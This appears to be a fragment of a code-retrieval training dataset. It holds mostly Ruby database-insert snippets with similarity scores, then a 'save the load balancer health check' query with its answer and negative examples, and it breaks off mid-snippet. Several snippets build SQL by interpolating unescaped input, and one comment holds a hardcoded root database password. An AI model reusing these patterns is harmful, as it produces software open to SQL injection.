$db.execute(\"INSERT INTO prices (asin, title, price_s, price_i, day, day_i) VALUES (?,?,?,?,?,?)\", [asin, title, price_s, price_i, day, day_i])\r\nend", "def create_employee(database, first_name, last_name, wage, title, last_four_ssn, business_id)\n database.execute(\"INSERT INTO employees (first_name, last_name, wage, title, last_four_ssn, business_id) VALUES (?, ?, ?, ?, ?, ?)\", [first_name, last_name, wage, title, last_four_ssn, business_id])\nend", "def exec_insert(sql, name, binds)\n exec_query(sql, name, binds)\n end", "def create_regimen(db, name, age, vitamin)\n db.execute(\"INSERT INTO regimen (name, age, vitamin) VALUES (?, ?, ?)\", [name, age, vitamin])\nend", "def insert\n # the array of ::columns of the class joined with commas, drop id\n col_names = self.class.columns[1..-1].join(\", \") \n # an array of question marks\n question_marks = ([\"?\"] * col_names.split.size).join(\", \")\n\n DBConnection.execute(<<-SQL, *attribute_values[1..-1])\n INSERT INTO\n #{self.class.table_name} (#{col_names})\n VALUES\n (#{question_marks})\n SQL\n\n self.id = DBConnection.last_insert_row_id\n end", "def insert(table,doc)\n connection.insert(path(table),doc)\n end", "def insert_statement(statement)\n self.inserts << statement\n end", "def insert_statement(statement)\n self.inserts << statement\n end", "def contractor_insert(h)\n \t\trows = @database.execute <<-SQL\n\t\t\tINSERT INTO contractor\n\t\t\t\t(name\n\t\t\t\t, contractor_id\n\t\t\t\t, rate\n\t\t\t\t)\n\t\t\tVALUES\n\t\t\t\t('#{h['name']}'\n\t\t\t\t, '#{h['contractor_id']}'\n\t\t\t\t, '#{h['rate']}'\n\t\t\t\t)\n\t\tSQL\n\tend", "def create\n Student.conn.exec('INSERT INTO students (name, age, spirit_animal, squad_id) values ($1,$2,$3,$4)', [ name, age, spirit_animal, squad_id])\n end", "def create_pokemon(db, name, age, location, move)\n db.execute(\"INSERT INTO pokemon (name, age, location, move) VALUES (?, ?, ?, ?)\", [name, age, location, move])\nend", "def add_entry(db, book_name, year_pubished, genre, author, rating, read)\n\tdb.execute(\"INSERT INTO books (book_name, year_pubished, genre, author, rating, read) VALUES (?, ?, ?, ?, ?, ?)\", [book_name, year_pubished, genre, author, rating, read])\nend", "def dbinsert(table, variables, variable_names)\n i = 1\n marks = \"?\"\n while i < variables.length\n marks += \",?\"\n i += 1\n end\n\n v = \"\"\n i = 0\n while i < variables.length\n v += variables[i].to_s \n i += 1\n if i < variables.length\n v += \", \"\n end\n end\n\n return db.execute(\"INSERT INTO #{table}(#{v}) VALUES (#{marks})\", variable_names)\nend", "def exec_insert(sql, name = nil, binds = []) #:nodoc:\r\n log(sql, \"insert\", binds) { query(sql, binds) }\r\n end", "def add_information(bc)\n\t# get user input\n\tbarcode = bc\n\tprint \"Enter Item Name: \"\n\titem_name = gets.strip\n\tprint \"Item Category: \"\n\titem_category = gets.strip\n\tprint \"Quantity: \"\n\tquantity = gets.strip\n\tprint \"Price: \"\n\tprice = gets.strip\n\tprint \"Description: \"\n\tdescription = gets.strip\n\n\tdb = open_connection\n\tbegin # try to add information to the database\n\t\tdb.query(\"INSERT INTO #{$db_name}.#{$db_table_name} ( \\\n\t\t`Barcode`, `ItemName`, `ItemCategory`, `Quantity`, `Price`, `Description` \\\n\t\t) VALUES ( \\\n\t\t'#{barcode}', '#{item_name}', '#{item_category}', #{quantity}, #{price}, '#{description}')\")\n\trescue Exception => e # abort if error and print error\n\t\tabort \"Could not add information to the database.\"\n\t\tputs \"Error code: #{e.errno}\"\n\t\tputs \"Error message: #{e.error}\"\n\tend # if passed, give success message\n\tputs \"Information successfully added!\"\nend", "def player_creator(data_var,name)\r\n\tdata_var.execute(\"INSERT INTO players (name,placing) VALUES (?,?)\",[name,\"no place\"])\r\nend", "def db_insert table, fields= {}\n #client = Mysql2::Client.new(:host => \"localhost\", :username => \"root\", :password => \"toor\", :database => \"filesorter\")\n @query= \"INSERT INTO `#{table}` (`#{fields.keys.join('`, `')}`) VALUES ('\"+fields.values.join(\"', '\")+\"');\"\n do_query\n end", "def create_user(db, name, weight, exercise, progression)\n db.execute(\"INSERT INTO user (name, weight, exercise, progression) VALUES (?, ?, ?, ?)\", [name, weight, exercise, progression])\nend", "def create(product, price, description, quantity)\n\t@conn.exec(\"INSERT INTO amazone (product, price, description, quantity) VALUES ('#{product}', '#{price}', '#{description}', '#{quantity}');\")\n\tputs \"I added your product to the table.\"\nend", "def insert\n DATABASE.execute(\"INSERT INTO terms (term, definition, phonetic) VALUES \n ('#{@term}', '#{@definition}', '#{@phonetic}')\")\n @id = DATABASE.last_insert_row_id\n end", "def create_customer(db, first, last, address, city, phone)\n db.execute(\"INSERT INTO customers (first_name, last_name, address, city, phone) VALUES (?, ?, ?, ?, ?)\", [first, last, address, city, phone])\nend", "def insert_by_data data, table\n sql = \"insert into #{table} \"\n case data\n when Array\n data.each do |d|\n insert_by_data(d, table)\n end\n when Hash\n columns = data.keys.to_s.gsub('[','(').gsub(']',')').gsub('\"','')\n values = data.values.to_s.gsub('[','(').gsub(']',')').gsub('nil','NULL')\n sql = sql + columns + \" values \" + values\n query(sql)\n end\n end", "def insert(object, table)\n sql = object.to_sql(table)\n execute(sql)\n end", "def insert(*args)\n dataset.insert(*args)\n self\n end", "def insert(column, value = :no_value)\n @columns << column\n @values << Translate.escape_sql(value) unless value == :no_value\n end", "def prompt_values(table, id, data)\n to_import = {}\n\n # If we're editing a table, load it\n if(!id.nil?)\n results = table.get(id)\n results.each_pair do |column, value|\n data = data.each() do |d|\n if(d[:column] == column)\n d[:value] = value\n end\n end\n end\n end\n\n # Loop through the possible fields\n data.each() do |d|\n # If there's a list function for this column, use that to get the input\n if(d[:foreign_list])\n d[:value] = d[:foreign_list].call(true, true)\n # If it's a foreign key, and the value was '0', let them enter it\n if(!d[:foreign_create].nil? && d[:value] == '0')\n d[:value] = d[:foreign_create].call\n end\n else\n begin\n valid = true\n d[:value] = get_with_default(table.table_name + \"::\" + d[:name], d[:value], d[:regex])\n valid = false if(d[:is_file] && !File.exist?(d[:value]))\n valid = false if(d[:foreign_table] && d[:foreign_table].get(d[:value]).nil? && d[:value] != '0')\n end while(!valid)\n end\n\n # Write it to an associative array\n to_import[d[:column]] = d[:value]\n end\n\n # Validate that we're doing what the user wants\n puts()\n name_size = 4\n data.each() do |d|\n name_size = [name_size, d[:name].length].max\n end\n\n return to_import\nend", "def insert token, tipo, variable = true\n\n\t\tif variable \n\t\t\tif @tabla.has_key? (token.texto)\n\t\t\t\traise RedefinirError.new(token, self.find(token.texto)[:token], variable)\n\t\t\telse\n\t\t\t\t@tabla[token.texto] = {:token => token, :tipo => tipo, :valor => nil}\n\t\t\tend\n\t\telse\n\t\t\tif @tabla.has_key? (token.idFuncion.nombre.texto)\n\t\t\t\traise RedefinirError.new(token.idFuncion.nombre, self.find(token.idFuncion.nombre.texto)[:instancia].idFuncion.nombre, variable)\t\n\t\t\telse\n\t\t\t\t@tabla[token.idFuncion.nombre.texto] = {:instancia => token, :tipo => tipo}\n\t\t\tend\n\t\tend\t\n\tend", "def insert(*data, &insert_proc)\r\n raise 'Cannot specify both a hash/array/struct and a ' + \\\r\n 'proc for method #insert!' unless data.empty? or insert_proc.nil?\r\n\r\n raise 'Must specify either hash/array/struct or insert ' + \\\r\n 'proc for method #insert!' if data.empty? and insert_proc.nil?\r\n\r\n # Update the header variables.\r\n update_header_vars\r\n\r\n # Convert input, which could be a proc, an array, a hash, or a\r\n # Struct into a common format (i.e. hash).\r\n if data.empty?\r\n input_rec = convert_input_data(insert_proc)\r\n else\r\n input_rec = convert_input_data(data)\r\n end\r\n\r\n # Check the field values to make sure they are proper types.\r\n validate_input(input_rec)\r\n\r\n input_rec = Struct.new(*field_names).new(*field_names.zip(\r\n @field_defaults).collect do |fn, fd|\r\n if input_rec.has_key?(fn)\r\n input_rec[fn]\r\n else\r\n fd\r\n end\r\n end)\r\n\r\n check_required_fields(input_rec)\r\n\r\n check_against_input_for_specials(input_rec)\r\n\r\n new_recno = @db.engine.insert_record(self, @field_names.zip(\r\n @field_types).collect do |fn, ft|\r\n convert_to_encoded_string(ft, input_rec[fn])\r\n end)\r\n\r\n # If there are any associated memo/blob fields, save their values.\r\n input_rec.each { |r| r.write_to_file if r.is_a?(KBMemo) } if \\\r\n @field_types.include?(:Memo)\r\n input_rec.each { |r| r.write_to_file if r.is_a?(KBBlob) } if \\\r\n @field_types.include?(:Blob)\r\n \r\n return new_recno\r\n end", "def create_kitten(db, name, age)\r\n db.execute(\"INSERT INTO kittens (name, age) VALUES (?, ?)\", [name, age])\r\nend", "def newFood( foodDB )\n puts \"Enter the name of the basic food entry.\"\n name = STDIN.gets.chomp!.strip\n \n puts \"Enter the number of calories.\"\n calories = STDIN.gets.chomp!.strip\n puts \"\\n\" + foodDB.addFood( name, calories )\nend", "def new_patient(db, name, dob, insurance)\n\t\n\tdb.execute(\"INSERT INTO patient_info (name, dob, insurance) VALUES (?, ?, ?)\", [name, dob, insurance])\n\nend", "def db_update?(date, input, serps, url_array)\n print 'Do you want to save the results in the database (Y/N): '\n answer = user_input\n if answer.upcase == 'Y'\n puts ''\n puts '******************************'\n puts '* OK boss, database updated! *'\n puts '******************************'\n puts ''\n #insert database insertion method here\n update_db(date, input, serps, url_array)\n elsif answer.upcase == 'N'\n puts ''\n puts '*****************************'\n puts '* Ok boss, no changes made! *'\n puts '*****************************'\n puts ''\n else\n puts ''\n puts '*************'\n puts '* Say what? *'\n puts '*************'\n puts ''\n db_update?(date, input, serps, url_array)\n end\nend", "def add_new_contact\nprint \"Contact first name:\"\nfirst_name = gets.chomp\n\nprint \"Contact last name:\"\nlast_name = gets.chomp\n\nprint \"Enter Contact's Email Address\"\nemail = gets.chomp\n\nprint \"Enter Note\"\nnote = gets.chomp\n\nContact.create(first_name, last_name, email, note)\n end", "def save input\n table = DB.from(@table) # DB[@table]\n \n # invalidate a cached range\n @@_cached_range = nil\n \n if input[:id] \n table.where(:id => input[:id]).update input.reject{|key,value| key.to_s == 'id'}\n get :id => input[:id]\n else\n self.create input\n end \n\n end", "def insert\n\n DBConnection.execute2(<<-SQL, attribute_values)\n INSERT INTO\n #{class_obj.table_name} #{sql_columns}\n VALUES\n #{sql_question_marks}\n SQL\n\n self.id = DBConnection.last_insert_row_id\n end", "def insert\n DATABASE.execute(\"INSERT INTO students (name, age, github) VALUES (?, ?, ?)\", @name, @age, @github)\n @id = DATABASE.last_insert_row_id\n end", "def submit_time_in(user_id,location,time,date)\n db_params = {\n host: ENV['host'],\n port: ENV['port'],\n dbname: ENV['dbname'],\n user: ENV['user'],\n password: ENV['password']\n }\n db = PG::Connection.new(db_params)\n # db.exec(\"UPDATE info SET status= 'in' WHERE user_id = '#{user_id}'\")\n db.exec(\"INSERT INTO timesheet_new(user_id,time_in,lunch_start,lunch_end,time_out,date,date_out,location)VALUES('#{user_id}','#{time}','N/A','N/A','N/A','#{date}','#{date}','#{location}')\")\n db.close\nend", "def insert_records(date, search_term, rank, listing, url)\n db = SQLite3::Database.open('/Users/JW/RubymineProjects/Ruby-Test/store.sqlite')\n db.execute (\"INSERT INTO records (date, search_term, rank, listing, url) VALUES ('#{date}', '#{search_term}', #{rank}, '#{listing}', '#{url}')\")\nend", "def insert_entry(params)\n Entry.create(params)\n end", "def add_interest(db, interest)\n db.execute(\"INSERT INTO interests (interest) VALUES (?)\", [interest])\nend", "def create_students (db, name, essay_1, essay_2, midterm_1, midterm_2)\n\tdb.execute(\"INSERT INTO students (name, essay_1, essay_2, midterm_1, midterm_2) VALUES (?, ?, ?, ?, ?)\", [name, essay_1, essay_2, midterm_1, midterm_2])\nend", "def ins_vend\n \n sql = \"INSERT INTO vendors_lists(business_type,\n city_name,\n branch_name,\n vendor_name,\n vendor_alias_name,\n vendor_sub_categories,\n cat_bran,\n monetization_type,\n subscribed_date,\n vendor_logo,\n vendor_website,\n vendor_email,\n vendor_phone,\n vendor_fax,\n vendor_address,\n latitude,\n longitude,\n vendor_description,\n working_time,\n miscellaneous,\n trial_flag,\n created_at,\n admin,\n premium,\n authorised,\n cards,\n affiliate,\n branch_alias_name,\n brands,\n top)\n VALUES(#{@input})\"\n \n db.execute(sql)\n \n say(\"Inserted into vendors_lists - #{@name}\")\n \n end", "def insert(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)\n insert_sql(sql, name, pk, id_value, sequence_name)\n end" ]
[ "0.7337972", "0.72228664", "0.70378417", "0.70066565", "0.69852406", "0.6839374", "0.67483747", "0.67472166", "0.6745353", "0.6653594", "0.6633105", "0.6626818", "0.6574734", "0.6535419", "0.643038", "0.638177", "0.63712204", "0.63712204", "0.63630843", "0.63350385", "0.63176024", "0.6308035", "0.6298996", "0.62671864", "0.62370104", "0.6236007", "0.6235233", "0.62002385", "0.6193573", "0.61721915", "0.61592823", "0.6147362", "0.6112423", "0.61076194", "0.61018705", "0.60923356", "0.6080438", "0.60712034", "0.6062614", "0.6055451", "0.60532343", "0.60496664", "0.60434175", "0.6034069", "0.6033421", "0.6032796", "0.60204697", "0.60184586", "0.60097766", "0.60048336", "0.6003554", "0.598543", "0.598543", "0.59838235", "0.5972879", "0.5969925", "0.5969838", "0.595446", "0.5939649", "0.59393203", "0.59282386", "0.59269685", "0.58797306", "0.586459", "0.586459", "0.585475", "0.58528805", "0.5847192", "0.5843984", "0.58318937", "0.58251673", "0.5811972", "0.58112407", "0.5808601", "0.5802984", "0.57989526", "0.57925713", "0.5791559", "0.5784961", "0.5783268", "0.57781094", "0.5768514", "0.5749926", "0.57492816", "0.57422996", "0.5741779", "0.5738439", "0.57345676", "0.57282823", "0.57234645", "0.5722502", "0.5714166", "0.57116055", "0.57081753", "0.57071227", "0.5705662", "0.5702914", "0.5697219", "0.56940615", "0.5689766" ]
0.59631413
57
Save the load balancer health check
def balancer_health_check(balancer) balancer end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def perform_save\n api.balancer_save(self)\n end", "def update_health_check(elb_name, health_check)\n @elb.configure_health_check({\n load_balancer_name: elb_name,\n health_check: health_check.to_aws\n })\n end", "def create\n @operations_check = OperationsCheck.find(params[:operations_check_id])\n @load_balancer_check = @operations_check.load_balancer_checks.create(load_balancer_check_params)\n\n respond_to do |format|\n if @load_balancer_check.save\n format.html { redirect_to operations_check_path(@operations_check, tab: \"load_balancers\"), \n notice: 'Load balancer check was successfully created.' }\n format.json { render json: @load_balancer_check, status: :created, location: @load_balancer_check }\n else\n format.html { redirect_to operations_check_path(@operations_check, tab: \"load_balancers\"),\n notice: 'Commit failed - you must give a ticket number if the check failed!' }\n format.json { render json: @load_balancer_check.errors, status: :unprocessable_entity }\n end\n end\n end", "def save_heartbeat\n timestamp = Time.now.to_i\n store.zadd(\"hb:#{@client.uid}\", timestamp, [Time.now.to_s(:db), @payload].to_json)\n end", "def save_status(file_path)\n begin\n Pathname.new(file_path).open('wb') do |f|\n @saved_at = Fluent::Engine.now\n @saved_duration = @saved_at - @last_checked\n Marshal.dump({\n :counts => @counts,\n :saved_at => @saved_at,\n :saved_duration => @saved_duration,\n :aggregate => @aggregate,\n :count_key => @count_key,\n :patterns => @patterns,\n }, f)\n end\n rescue => e\n log.warn \"out_datacounter: Can't write store_file #{e.class} #{e.message}\"\n end\n end", "def save_checkpoint\n @api.send(\"world.checkpoint.save()\")\n end", "def set_health_status\n @health_status = HealthStatus.find(params[:id])\n end", "def health=(new_health)\n @health = new_health\n end", "def health_status=(value)\n @health_status = value\n end", "def health_status=(value)\n @health_status = value\n end", "def health_status=(value)\n @health_status = value\n end", "def health_status=(value)\n @health_status = value\n end", "def persist status\n\t\t@dao.save_status status\n\tend", "def save\n return false unless valid?\n client.put(\"/tms/loads/#{load_id}\", payload).tap do |response|\n r = Response.new(response)\n if r.successful?\n @attributes[:hubtran_id] = r.to_hash[\"load\"][\"id\"]\n end\n end\n true\n end", "def balancer_reload(balancer)\n if balancer.persisted?\n begin\n load_balancer_data(balancer)\n rescue Miasma::Error::ApiError::RequestError => e\n if e.response_error_msg.include?(\"LoadBalancerNotFound\")\n balancer.state = :terminated\n balancer.status = \"terminated\"\n balancer.valid_state\n else\n raise\n end\n end\n end\n balancer\n end", "def save\n self.save! rescue false\n end", "def set_health\n @health = Health.find(params[:id])\n end", "def set_health\n @health = Health.find(params[:id])\n end", "def create\n @internal_check = InternalCheck.find(params[:internal_check_id])\n @backup_check = @internal_check.backup_checks.create(params[:backup_check])\n\n unless @backup_check.name.present?\n @backup_check.destroy\n redirect_to @internal_check,\n notice: 'Please provide the name of the instance you are reporting.'\n return\n end\n\n respond_to do |format|\n if @backup_check.save\n format.html { redirect_to @internal_check, notice: 'Backup failure successfully reported.' }\n format.json { render json: @backup_check, status: :created, location: @backup_check }\n else\n format.html { render action: \"new\" }\n format.json { render json: @backup_check.errors, status: :unprocessable_entity }\n end\n end\n end", "def save\n ::File.open(@file, \"w\") { |file| file << self.to_hash.to_yaml }\n end", "def create\n @health_status = HealthStatus.new(health_status_params)\n\n respond_to do |format|\n if @health_status.save\n format.html { redirect_to @health_status, notice: 'Health status was successfully created.' }\n format.json { render :show, status: :created, location: @health_status }\n else\n format.html { render :new }\n format.json { render json: @health_status.errors, status: :unprocessable_entity }\n end\n end\n end", "def health=(v) self['Health'] = v end", "def healthchecks\n write_test = Add.write_test\n detect_infected = Scan.healthcheck_infected\n clean_file = Scan.healthcheck_clean\n service_status = if write_test && detect_infected && clean_file\n 'ok'\n else\n 'failed'\n end\n {\n service_status: service_status,\n write_test: write_test ? 'ok' : 'failed',\n detected_infected_file: detect_infected ? 'ok' : 'failed',\n passed_clean_file: clean_file ? 'ok' : 'failed'\n }\n end", "def save\n self.save! rescue false\n end", "def save\n end", "def save\n end", "def save_with_load\r\n @oksave = true\r\n save\r\n @oksave = nil\r\n end", "def save_status(file_path)\n begin\n Pathname.new(file_path).open('wb') do |f|\n @saved_at = Fluent::Engine.now\n @saved_duration = @saved_at - @last_checked\n Marshal.dump({\n :counts => @counts,\n :matches => @matches,\n :saved_at => @saved_at,\n :saved_duration => @saved_duration,\n :regexp => @regexp,\n :exclude => @exclude,\n :input_key => @input_key,\n }, f)\n end\n rescue => e\n log.warn \"out_grepcounter: Can't write store_file #{e.class} #{e.message}\"\n end\n end", "def save\n SAVE\n end", "def save!\n end", "def save\n begin\n super\n rescue Faraday::ConnectionFailed => e\n self.notice = \"WARNING: Elastic Search indexing responded: #{e}\"\n end\n end", "def save\n if persisted?\n change_status\n else\n create_new_location\n end\n end", "def set_load_balancer_h_t_t_p_s_listener_attribute(bandwidth, health_check, listener_port, load_balancer_id, sticky_session, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'SetLoadBalancerHTTPSListenerAttribute'\n\t\targs[:query]['HealthCheck'] = health_check\n\t\targs[:query]['LoadBalancerId'] = load_balancer_id\n\t\targs[:query]['StickySession'] = sticky_session\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :cookie\n\t\t\targs[:query]['Cookie'] = optional[:cookie]\n\t\tend\n\t\tif optional.key? :cookie_timeout\n\t\t\traise ArgumentError, 'cookie_timeout must be equal or greater than 1' unless optional[:cookie_timeout] < 1\n\t\t\traise ArgumentError, 'cookie_timeout must be equal or less than 86400' unless optional[:cookie_timeout] > 86400\n\t\t\targs[:query]['CookieTimeout'] = optional[:cookie_timeout]\n\t\tend\n\t\tif optional.key? :health_check_connect_port\n\t\t\traise ArgumentError, 'health_check_connect_port must be equal or greater than -520' unless optional[:health_check_connect_port] < -520\n\t\t\traise ArgumentError, 'health_check_connect_port must be equal or less than 65535' unless optional[:health_check_connect_port] > 65535\n\t\t\targs[:query]['HealthCheckConnectPort'] = optional[:health_check_connect_port]\n\t\tend\n\t\tif optional.key? :health_check_domain\n\t\t\targs[:query]['HealthCheckDomain'] = optional[:health_check_domain]\n\t\tend\n\t\tif optional.key? :health_check_http_code\n\t\t\targs[:query]['HealthCheckHttpCode'] = optional[:health_check_http_code]\n\t\tend\n\t\tif optional.key? :health_check_interval\n\t\t\traise ArgumentError, 'health_check_interval must be equal or greater than 1' unless optional[:health_check_interval] < 1\n\t\t\traise ArgumentError, 'health_check_interval must be equal or less than 5' unless optional[:health_check_interval] > 5\n\t\t\targs[:query]['HealthCheckInterval'] = optional[:health_check_interval]\n\t\tend\n\t\tif optional.key? :health_check_timeout\n\t\t\traise ArgumentError, 'health_check_timeout must be equal or greater than 1' unless optional[:health_check_timeout] < 1\n\t\t\traise ArgumentError, 'health_check_timeout must be equal or less than 50' unless optional[:health_check_timeout] > 50\n\t\t\targs[:query]['HealthCheckTimeout'] = optional[:health_check_timeout]\n\t\tend\n\t\tif optional.key? :health_check_u_r_i\n\t\t\targs[:query]['HealthCheckURI'] = optional[:health_check_u_r_i]\n\t\tend\n\t\tif optional.key? :healthy_threshold\n\t\t\traise ArgumentError, 'healthy_threshold must be equal or greater than 1' unless optional[:healthy_threshold] < 1\n\t\t\traise ArgumentError, 'healthy_threshold must be equal or less than 10' unless optional[:healthy_threshold] > 10\n\t\t\targs[:query]['HealthyThreshold'] = optional[:healthy_threshold]\n\t\tend\n\t\tif optional.key? :max_conn_limit\n\t\t\targs[:query]['MaxConnLimit'] = optional[:max_conn_limit]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tif optional.key? :scheduler\n\t\t\targs[:query]['Scheduler'] = optional[:scheduler]\n\t\tend\n\t\tif optional.key? :server_certificate_id\n\t\t\targs[:query]['ServerCertificateId'] = optional[:server_certificate_id]\n\t\tend\n\t\tif optional.key? :sticky_session_type\n\t\t\targs[:query]['StickySessionType'] = optional[:sticky_session_type]\n\t\tend\n\t\tif optional.key? :unhealthy_threshold\n\t\t\traise ArgumentError, 'unhealthy_threshold must be equal or greater than 1' unless optional[:unhealthy_threshold] < 1\n\t\t\traise ArgumentError, 'unhealthy_threshold must be equal or less than 10' unless optional[:unhealthy_threshold] > 10\n\t\t\targs[:query]['UnhealthyThreshold'] = optional[:unhealthy_threshold]\n\t\tend\n\t\tif optional.key? :x_forwarded_for\n\t\t\targs[:query]['XForwardedFor'] = optional[:x_forwarded_for]\n\t\tend\n\t\traise ArgumentError, 'bandwidth must be equal or greater than -1' unless bandwidth < -1\n\t\traise ArgumentError, 'bandwidth must be equal or less than 1000' unless bandwidth > 1000\n\t\targs[:query]['Bandwidth'] = bandwidth\n\t\traise ArgumentError, 'listener_port must be equal or greater than 1' unless listener_port < 1\n\t\traise ArgumentError, 'listener_port must be equal or less than 65535' unless listener_port > 65535\n\t\targs[:query]['ListenerPort'] = listener_port\n\t\tself.run(args)\n\tend", "def save\n end", "def save_state()\n server_hash = @server_manager.get_server_hash(@servers)\n\n File.open(@data_path,\"w\") do |f|\n f.write(server_hash.to_json)\n end\n end", "def set_health\n\t @health = Health.find(params[:id])\n\tend", "def save\n obj = JSON.parse(node.elements.first.content)\n fqdn = obj['fqdn'].downcase\n forbidden! unless from_system?(fqdn)\n\n id = \"system:#{fqdn}\"\n system = System.find(id) || System.new(id: id)\n system.ohai = obj\n system.save\n storage.index(system)\n System.notify_members(stream, node.from, [{'name' => fqdn}])\n send_result\n end", "def save\n begin\n if Seth::Config[:why_run]\n Seth::Log.warn(\"In whyrun mode, so NOT performing data bag save.\")\n else\n create\n end\n rescue Net::HTTPServerException => e\n raise e unless e.response.code == \"409\"\n end\n self\n end", "def health_check\n JSON.parse(@client.get('status').body)\n end", "def save!\n savable_properties = Hash[instance_variables.map { |name| \n # We need to remove the first character (@) of each name to be correct\n clean_name = name.to_s; \n clean_name[0] = ''; \n [clean_name, instance_variable_get(name)] \n } ]\n # Remove the \"is_new\" property, which is only used internally.\n savable_properties.delete(\"is_new\")\n\n # Also remove the \"_id\" property, which will cause the update to fail.\n savable_properties.delete(\"_id\")\n\n if @is_new\n response = self.class.post '/inventory', :body => savable_properties\n if response['status'] and response['status'] == 'error'\n throw response['message']\n end\n self.class.check_response response\n set_instance_variables response\n @is_new = false\n return true \n else\n response = self.class.put \"/inventory/#{@uuid}\", :body => savable_properties\n print response['status']\n if response['status'] and response['status'] == \"error\"\n throw response['message']\n end\n self.class.check_response response\n return true\n end\n end", "def healthcheck\n url = \"#{self.url}/healthcheck\"\n status, _ = rest_get( url )\n return( status )\n end", "def healthcheck\n url = \"#{self.url}/healthcheck\"\n status, _ = rest_get( url )\n return( status )\n end", "def alive\n @heartbeat = Heartbeat.create(heartbeats_params)\n if @heartbeat.valid?\n render json: {}, status: :created\n else\n render json: { error: 'failed to create heartbeat' }, status: :internal_server_error\n end\n end", "def register_health_check #:nodoc:\n @publisher.hset GilmourHealthKey, self.ident, 'active'\n\n # - Start listening on a dyanmic topic that Health Monitor can publish\n # on.\n #\n # NOTE: Health checks are not run as forks, to ensure that event-machine's\n # ThreadPool has sufficient resources to handle new requests.\n #\n topic = \"gilmour.health.#{self.ident}\"\n backend = self\n add_listener(topic) do\n respond backend.get_subscribers\n end\n end", "def save\n File.open(file, \"w\") {|f| f.write(to_hash.to_yaml) }\n end", "def set_health_record\n @health_record = HealthRecord.find(params[:id])\n end", "def set_health_record\n @health_record = HealthRecord.find(params[:id])\n end", "def save_state\n @refused['size'] = @auth_log.size\n IO.write(state_file, Psych.to_json(@refused))\n end", "def save\n timeout_retry(3, 3){\n write \"SAVE\\r\\n\"\n status_code_reply\n }\n end", "def perform_save\n api.stack_save(self)\n end", "def create\n @loadbalancer = Loadbalancer.new(params[:loadbalancer])\n @loadbalancer.account_id = @oeaccount.id\n respond_to do |format|\n if @loadbalancer.save\n format.html { redirect_to loadbalancers_url, notice: 'Loadbalancer was successfully created.' }\n format.json { render json: @loadbalancer, status: :created, location: @loadbalancer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @loadbalancer.errors, status: :unprocessable_entity }\n end\n end\n end", "def health_status\n data.health_status\n end", "def create\n @health = current_user.healths.build(health_params)\n \n respond_to do |format|\n \n if @health.save\n @health.reindex\n format.html { redirect_to @health, notice: 'Health was successfully created.' }\n format.json { render :show, status: :created, location: @health }\n else\n format.html { render :new }\n format.json { render json: @health.errors, status: :unprocessable_entity }\n end\n end\n end", "def save\n attributes = MultiJson.dump({ name: @name, linkbutton: @linkbutton })\n Huey::Request.put(\"config\", body: attributes)\n self.reload\n end", "def rest\n self.status = STATUS_RESTING\n self.health += select_rest\n self.health = max_health if health > max_health\n self.save\n end", "def save(attrs)\n begin\n save_status = save!(attrs)\n rescue JIRA::HTTPError => exception\n set_attrs_from_response(exception.response) rescue JSON::ParserError # Merge error status generated by JIRA REST API\n save_status = false\n end\n save_status\nend", "def save_status status\n\t\n\t\t@db.rpush @type, status\n\t\n\tend", "def set_load_balancer_h_t_t_p_listener_attribute(bandwidth, health_check, listener_port, load_balancer_id, sticky_session, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'SetLoadBalancerHTTPListenerAttribute'\n\t\targs[:query]['HealthCheck'] = health_check\n\t\targs[:query]['LoadBalancerId'] = load_balancer_id\n\t\targs[:query]['StickySession'] = sticky_session\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :cookie\n\t\t\targs[:query]['Cookie'] = optional[:cookie]\n\t\tend\n\t\tif optional.key? :cookie_timeout\n\t\t\traise ArgumentError, 'cookie_timeout must be equal or greater than 1' unless optional[:cookie_timeout] < 1\n\t\t\traise ArgumentError, 'cookie_timeout must be equal or less than 86400' unless optional[:cookie_timeout] > 86400\n\t\t\targs[:query]['CookieTimeout'] = optional[:cookie_timeout]\n\t\tend\n\t\tif optional.key? :health_check_connect_port\n\t\t\traise ArgumentError, 'health_check_connect_port must be equal or greater than -520' unless optional[:health_check_connect_port] < -520\n\t\t\traise ArgumentError, 'health_check_connect_port must be equal or less than 65535' unless optional[:health_check_connect_port] > 65535\n\t\t\targs[:query]['HealthCheckConnectPort'] = optional[:health_check_connect_port]\n\t\tend\n\t\tif optional.key? :health_check_domain\n\t\t\targs[:query]['HealthCheckDomain'] = optional[:health_check_domain]\n\t\tend\n\t\tif optional.key? :health_check_http_code\n\t\t\targs[:query]['HealthCheckHttpCode'] = optional[:health_check_http_code]\n\t\tend\n\t\tif optional.key? :health_check_interval\n\t\t\traise ArgumentError, 'health_check_interval must be equal or greater than 1' unless optional[:health_check_interval] < 1\n\t\t\traise ArgumentError, 'health_check_interval must be equal or less than 5' unless optional[:health_check_interval] > 5\n\t\t\targs[:query]['HealthCheckInterval'] = optional[:health_check_interval]\n\t\tend\n\t\tif optional.key? :health_check_timeout\n\t\t\traise ArgumentError, 'health_check_timeout must be equal or greater than 